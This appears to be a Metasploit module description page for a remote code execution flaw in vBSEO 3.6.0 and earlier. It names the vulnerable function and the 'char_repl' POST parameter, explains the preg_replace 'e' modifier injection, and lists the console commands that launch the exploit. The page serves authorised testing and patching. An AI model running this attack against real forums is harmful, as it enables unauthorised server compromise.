This module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php for vBSEO versions 3.6.0 and earlier. User input passed through 'char_repl' POST parameter isn't properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/vbseo_proc_deutf
msf exploit(vbseo_proc_deutf) > show targets
...targets...
msf exploit(vbseo_proc_deutf) > set TARGET < target-id >
msf exploit(vbseo_proc_deutf) > show options
...show and set options...
msf exploit(vbseo_proc_deutf) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
